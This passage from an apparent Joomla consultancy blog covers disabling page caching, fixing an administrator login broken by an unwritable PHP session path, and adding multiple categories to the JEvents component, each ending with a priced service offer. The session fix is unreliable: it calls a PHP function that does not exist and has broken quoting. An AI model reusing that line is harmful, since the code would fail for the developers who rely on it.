- Change the “Cache” value (under “Cache Settings”, in the middle right of the page) to “No”.
- Click on “Save” on the top menu.

The above applies to Joomla 1.5. It’s possible for the steps to be slightly different in other version of Joomla, but the main concept remains the same.

If you do all the above and you’re still having problems with pages being cached, then contact us, we guarantee you that we’ll solve your problem in 2 hours (for a cost of $150, based on our current fees).

Are You Suddenly Unable To Login to Your Joomla Administrator?

One of our little projects today was interesting. The owner of the website was not able to login to his Joomla’s Administrator. Here is what we knew about the problem when we first started working on it:

- The website was using Joomla 1.0x (which is more Mambo than Joomla).
- The owner of the website was being redirected to the login page everytime he tried to login, with the following error “Incorrect Username, Password, or Access Level. Please try again”.
- The problem started happening when he moved to a new server.
- The problem is happening on all his Joomla 1.0x websites, but not on his Joomla 1.5 websites, that also reside on the same server.

Our first approach to the problem was to check the Joomla code for the login, and we saw that although there is a gid (group id) field in the jos_users table, it is ignored and there is a multiple join with the groups table that will get the group of the indvidual. After analyzing the data, we discovered that the admin user, although he is considered an administrator in the users table, is not considered an administrator in the table grouping users with groups. We fixed this problem by fixing the data. We thought now the user will be able to login. Right?

Wrong!

After we fixed the data, we stopped seeing “Incorrect Username, Password, or Access Level. Please try again”, but now we were simply redirected to the login (with no errors whatsoever) telling us to login again (but we just logged in!). We checked the data, and apparently the user was authenticated, but when the request was redirected to index2.php (which displays the backend), the user was redirected back to the login page (index.php). Odd. After heavy examination we discovered that the session information was not being passed from one page to the other, but why?

In order to isolate the problem, we created 2 pages, 1 page setting some session information, and the other reading and printing the session information, here are the contents:

Page1.php

session_start();
$_SESSION['variable'] = “value”;
session_write_close();

Page2.php

session_start();
print_r($_SESSION);

When we tested the simple code above we discovered that for some reasons the session information is not saved at all, which means that the write path for the session information is unwriteable by the application. So what we did was that we added just before the line “session_start();” the following line “session_write_path(”/web/vhosts/public_html/website_name/cache);” and we ensured that PHP can write to the cache directory. This fixed the problem, but we had to fix the problem across the board, which took some time.

If you are you not able to login to your Joomla’s administrator then we can definitely help you. It will take us 2 hours to fix the problem, which amounts to $150 at our current rates. We guarantee that our solution will work, so go ahead, contact us!

Multiple Categories on JEvents

Many of our clients want to have multiple categories on Joomla’s JEevents (An event component for Joomla). We always accommodate the request, and here’s how:

- We create a field called “multiple_categories” in the main events table.
- We change the field type of categories from a single select to a multiple select (see below)
JEvent Multiple Categories

JEvent Multiple Categories

- When the user submits the event, we populate the multiple_categories field with the IDs of all the selected categories, separated by pipes (|)
- We modify all the controllers to retrieve the data from the multiple_categories field as well as to the single category field (this part takes the longest time)
- We accommodate all the views, including the main events page on the website, to display the multiple categories.

So how much time will all this take? It usually takes us no less than a day (even though we’ve done it dozens of time already). So, at the current rate of $75/hour, the total cost will be for $600.

Do you want to support multiple categories but you don’t have the time nor the resources to implement the above? If yes, then contact us, we’ll do it for you!